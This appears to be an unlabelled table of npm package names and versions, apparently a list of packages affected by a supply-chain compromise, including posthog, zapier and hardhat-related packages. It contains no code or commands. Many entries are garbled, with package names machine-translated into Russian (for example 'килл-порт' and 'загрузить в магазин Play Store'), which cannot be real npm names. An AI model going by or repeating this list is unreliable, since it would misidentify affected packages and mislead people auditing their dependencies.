| лучшийGPIOконтроллер | 1.0.10 |
| двунаправленный адаптер | 1.2.2 , 1.2.4 , 1.2.5 , 1.2.3 |
| blinqio-executions-cli | 1.0.41 |
| blob-to-base64 | 1.0.3 |
| bun-plugin-httpfile | 0.1.1 |
| bytecode-checker-cli | 1.0.11 , 1.0.8 , 1.0.9 , 1.0.10 |
| байты-в-x | 1.0.1 |
| расчет-проценты по кредиту | 1.0.4 |
| конденсатор-плагин-apptrackingios | 0.0.21 |
| покупка-плагина-конденсатора | 0.1.1 |
| capacitor-plugin-scgssigninwithgoogle | 0.0.5 |
| история покупки конденсаторов | 0.0.10 |
| конденсаторный диктофон wav | 6.0.3 |
| chrome-extension-downloads | 0.0.3 , 0.0.4 |
| claude-token-updater | 1.0.3 |
| coinmarketcap-api | 3.1.3 , 3.1.2 |
| цвета-регулярное выражение | 2.0.1 |
| command-irail | 0.5.4 |
| сравнить-объект | 1.1.1 , 1.1.2 |
| композитный редуктор | 1.0.4 , 1.0.3 , 1.0.2 , 1.0.5 |
| обратный отсчет | 1.0.2 , 1.0.1 |
| инструкции процессора | 0.0.14 |
| создать-директор-приложение | 0.1.1 |
| создать-glee-app | 0.2.3 , 0.2.2 |
| создать-hardhat3-app | 1.1.4 , 1.1.3 , 1.1.1 , 1.1.2 |
| крипто-адрес-кодек | 0.1.9 |
| css-дедуп | 0.1.2 |
| dashboard-пустое состояние | 1.0.3 |
| designstudiouiux | 1.0.1 |
| devstart-cli | 1.0.6 |
| dialogflow-es | 1.1.4 , 1.1.3 , 1.1.1 , 1.1.2 |
| сервер-бота-дискорда | 0.1.2 |
| docusaurus-plugin-vanilla-extract | 1.0.3 |
| не иди | 1.1.2 |
| dotnet-шаблон | 0.0.3 , 0.0.4 |
| drop-events-on-property-plugin | 0.0.2 |
| тестер-доставляемости-электронной-почты | 1.1.1 |
| обеспечить-имя-ветки | 1.1.3 |
| esbuild-plugin-brotli | 0.2.1 |
| esbuild-plugin-eta | 0.1.1 |
| esbuild-plugin-httpfile | 0.4.1 |
| eslint-config-nitpicky | 4.0.1 |
| eslint-config-trigo | 22.0.2 |
| eslint-config-zeallat-base | 1.0.4 |
| ethereum-ens | 0.8.1 |
| evm-checkcode-cli | 1.0.15 , 1.0.12 , 1.0.13 , 1.0.14 |
| точный тикер | 0.3.5 |
| expo-audio-session | 0.2.1 |
| экспрессо | 1.1.3 |
| с толстыми пальцами | 1.0.2 , 1.0.1 |
| функция-переворот | 1.0.2 , 1.0.1 |
| firestore-search-engine | 1.2.3 |
| fittxt | 1.0.3 , 1.0.2 |
| створки | 1.0.2 , 1.0.1 |
| сглаживать-распрямлять | 1.0.2 , 1.0.1 |
| formik-error-focus | 2.0.1 |
| formik-store | 1.0.1 |
| нечеткий искатель | 1.0.5 , 1.0.6 |
| gate-evm-check-code2 | 2.0.3 , 2.0.4 , 2.0.5 , 2.0.6 |
| gate-evm-tools-test | 1.0.7 , 1.0.8 , 1.0.5 , 1.0.6 |
| gatsby-plugin-cname | 1.0.2 , 1.0.1 |
| генератор-метеор-запас | 0.1.6 |
| генератор-ng-itobuz | 0.0.15 |
| получить-их-аргументы | 1.3.3 |
| github-action-for-generator | 2.1.28 , 2.1.27 |
| gitsafe | 1.0.5 |
| go-шаблон | 0.1.8 , 0.1.9 |
| gulp-inject-envs | 1.2.2 , 1.2.1 |
| haufe-axera-api-client | 0.0.1 , 0.0.2 |
| hope-mapboxdraw | 0.1.1 |
| hopedraw | 1.0.3 |
| hover-design-prototype | 0.0.5 |
| httpness | 1.0.3 , 1.0.2 |
| гипер-полный удар | 1.0.3 |
| гипертерм-хипстер | 1.0.7 |
| ids-css | 1.5.1 |
| идентификаторы-enterprise-mcp-сервер | 0.0.2 |
| идентификаторы-enterprise-ng | 20.1.6 |
| идентификаторы-enterprise-типирование | 20.1.6 |
| изображение-в-uri | 1.0.2 , 1.0.1 |
| бессонница-плагин-случайный-выбор | 1.0.4 |
| вызвать | 0.2.2 |
| iron-shield-miniapp | 0.0.2 |
| кнопка ito | 8.0.3 |
| itobuz-angular | 0.0.1 |
| itobuz-angular-auth | 8.0.11 |
| itobuz-angular-button | 8.0.11 |
| Джейкоб Зума | 1.0.2 , 1.0.1 |
| jaetut-varit-test | 1.0.2 |
| jan-браузер | 0.13.1 |
| jquery-привязки | 1.1.3 , 1.1.2 |
| jsonsurge | 1.0.7 |
| просто поджаренный | 1.7.1 |
| килл-порт | 2.0.3 , 2.0.2 |
| korea-administrative-area-geo-json-util | 1.0.7 |
| квами | 1.5.9 , 1.5.10 |
| языковые коды | 1.0.2 , 1.0.1 |
| license-o-matic | 1.2.2 , 1.2.1 |
| lint-staged-imagemin | 1.3.1 , 1.3.2 |
| lite-serper-mcp-server | 0.2.2 |
| луно-апи | 1.2.3 |
| ручная-биллинговая-система-мини-приложение-API | 1.3.1 |
| medusa-plugin-announcement | 0.0.3 |
| medusa-plugin-logs | 0.0.17 |
| medusa-plugin-momo | 0.0.68 |
| medusa-plugin-product-reviews-kvy | 0.0.4 |
| medusa-plugin-zalopay | 0.0.40 |
| mod10-контрольная-цифра | 1.0.1 |
| mon-package-react-typescript | 1.0.1 |
| мой-саид-либ | 0.1.1 |
| n8n-nodes-tmdb | 0.5.1 |
| n8n-nodes-vercel-ai-sdk | 0.1.7 |
| n8n-nodes-viral-app | 0.2.5 |
| наносброс | 7.0.2 , 7.0.1 |
| следующая-циклическая-зависимость | 1.0.3 , 1.0.2 |
| next-simple-google-analytics | 1.1.1 , 1.1.2 |
| next-styled-nprogress | 1.0.4 , 1.0.5 |
| ngx-useful-swiper-prosenjit | 9.0.2 |
| ngx-wooapi | 12.0.1 |
| обычный магазин | 1.3.1 , 1.3.4 , 1.3.3 , 1.3.2 |
| obj-to-css | 1.0.3 , 1.0.2 |
| okta-react-router-6 | 5.0.1 |
| open2internet | 0.1.1 |
| орбит-боксиконы | 2.1.3 |
| инструменты для рисования орбитальной туманности | 1.0.10 |
| редактор орбитальной туманности | 1.0.2 |
| орбит-мыло | 0.43.13 |
| оркестрикс | 12.1.2 |
| пакет-тестер | 1.0.1 |
| плагин-посылка-копировальный аппарат | 1.1.3 , 1.1.2 |
| pdf-аннотация | 0.0.2 |
| пиклит | 1.0.1 |
| пико-жидкость | 1.0.4 , 1.0.3 |
| pkg-readme | 1.1.1 |
| poper-react-sdk | 0.1.2 |
| постхог-докузаврус | 2.0.6 |
| posthog-js | 1.297.3 |
| posthog-node | 4.18.1 , 5.13.3 , 5.11.3 |
| posthog-plugin-hello-world | 1.0.1 |
| posthog-react-native | 4.11.1 , 4.12.5 |
| posthog-react-native-session-replay | 1.2.2 |
| таблица prime-one | 0.0.19 |
| prompt-eng | 1.0.50 |
| puny-req | 1.0.3 |
| ra-auth-firebase | 1.0.3 |
| ra-data-firebase | 1.0.8 , 1.0.7 |
| react-component-taggers | 0.1.9 |
| реагировать-данные-для-экспорта | 1.0.1 |
| реагировать-элемент-подсказка-инспектор | 0.1.18 |
| реагировать-favic | 1.0.2 |
| реагировать-крючок-форма-сохраняться | 3.0.2 , 3.0.1 |
| React-Jam-иконки | 1.0.2 , 1.0.1 |
| react-keycloak-context | 1.0.8 , 1.0.9 |
| react-library-setup | 0.0.6 |
| реагировать-линейный-загрузчик | 1.0.2 |
| react-micromodal.js | 1.0.2 , 1.0.1 |
| react-native-datepicker-modal | 1.3.1 , 1.3.2 |
| реагировать-нативный-электронная почта | 2.1.1 , 2.1.2 |
| react-native-fetch | 2.0.1 , 2.0.2 |
| react-native-get-pixel-dimensions | 1.0.2 , 1.0.1 |
| react-native-google-maps-directions | 2.1.2 |
| react-native-jam-icons | 1.0.2 , 1.0.1 |
| реагировать на собственный уровень журнала | 1.2.2 , 1.2.1 |
| реагировать-нативный-скромный-флажок | 3.3.1 |
| реагировать-native-modest-storage | 2.1.1 |
| реагировать на родной телефонный звонок | 1.2.2 , 1.2.1 |
| react-native-retriable-fetch | 2.0.1 , 2.0.2 |
| реагировать-нативно-использовать-модальный | 1.0.3 |
| react-native-view-finder | 1.2.2 , 1.2.1 |
| react-native-websocket | 1.0.4 , 1.0.3 |
| React-Native-Worklet-функции | 3.3.3 |
| реагировать-qr-изображение | 1.1.1 |
| Rediff | 1.0.5 |
| rediff-viewer | 0.0.7 |
| redux-router-kit | 1.2.2 , 1.2.4 , 1.2.3 |
| rollup-plugin-httpfile | 0.2.1 |
| sa-регистрационный-номер-компании-регулярное-выражение | 1.0.2 , 1.0.1 |
| sa-id-gen | 1.0.4 , 1.0.5 |
| такой же | 1.0.3 |
| scgs-capacitor-subscribe | 1.0.11 |
| scgsffcreator | 1.0.5 |
| set-nested-prop | 2.0.1 , 2.0.2 |
| полка-jwt-сессии | 0.1.2 |
| shell-exec | 1.1.4 , 1.1.3 |
| шинхан-лимит-скрап | 1.0.3 |
| навыки-использование | 0.1.2 , 0.1.1 |
| solomon-api-stories | 1.0.2 |
| solomon-v3-stories | 1.15.6 |
| solomon-v3-ui-wrapper | 1.6.1 |
| сортировка по расстоянию | 2.0.1 |
| южноафриканский-id-info | 1.0.2 |
| стат-фнс | 1.0.1 |
| этаж | 2.3.2 |
| ультра-commit | 1.0.1 |
| svelte-autocomplete-select | 1.1.1 |
| стройный-поджаристый | 1.1.3 , 1.1.2 |
| tanstack-shadcn-table | 1.1.5 |
| тксп | 2.0.2 |
| tcsp-draw-test | 1.0.5 |
| tcsp-test-vd | 2.4.4 |
| шаблон-библиотека | 1.1.4 , 1.1.3 |
| шаблон-микро-сервис | 1.0.3 , 1.0.2 |
| цепкий-приманка | 2.3.3 , 2.3.2 |
| тест-литейное-приложение | 1.0.4 , 1.0.3 , 1.0.2 , 1.0.1 |
| тест-hardhat-app | 1.0.4 , 1.0.3 , 1.0.2 , 1.0.1 |
| test23112222-api | 1.0.1 |
| Тяань | 1.0.2 |
| token.js-fork | 0.7.32 |
| trigo-react-app | 4.1.2 |
| типограда | 1.2.2 , 1.2.3 |
| типорм-орбита | 0.2.27 |
| undefsafe-typed | 1.0.4 , 1.0.3 |
| uplandui | 0.5.4 |
| загрузить в магазин Play Store | 1.0.2 , 1.0.1 |
| URL-кодирование-декодирование | 1.0.2 , 1.0.1 |
| использовать несохраненные изменения | 1.0.9 |
| действительный-южно-африканский-идентификатор | 1.0.3 |
| vf-oss-template | 1.0.4 , 1.0.3 , 1.0.2 , 1.0.1 |
| vite-plugin-httpfile | 0.2.1 |
| vue-browserupdate-nuxt | 1.0.5 |
| веб-скрейпер-mcp | 1.1.4 |
| web-types-htmx | 0.1.1 |
| веб-типы-лит | 0.1.1 |
| webpack-loader-httpfile | 0.2.1 |
| wellness-expert-ng-gallery | 5.1.1 |
| венк | 1.0.9 , 1.0.10 |
| zapier-async-storage | 1.0.3 , 1.0.2 , 1.0.1 |
| zapier-platform-cli | 18.0.4 , 18.0.3 , 18.0.2 |
| zapier-platform-core | 18.0.4 , 18.0.3 , 18.0.2 |
| zapier-platform-schema | 18.0.4 , 18.0.3 , 18.0.2 |
| zapier-скрипты | 7.8.3 , 7.8.4 |
| zuper-cli | 1.0.1 |
| zuper-sdk | 1.0.57 |
| zuper-stream | 2.0.9 |





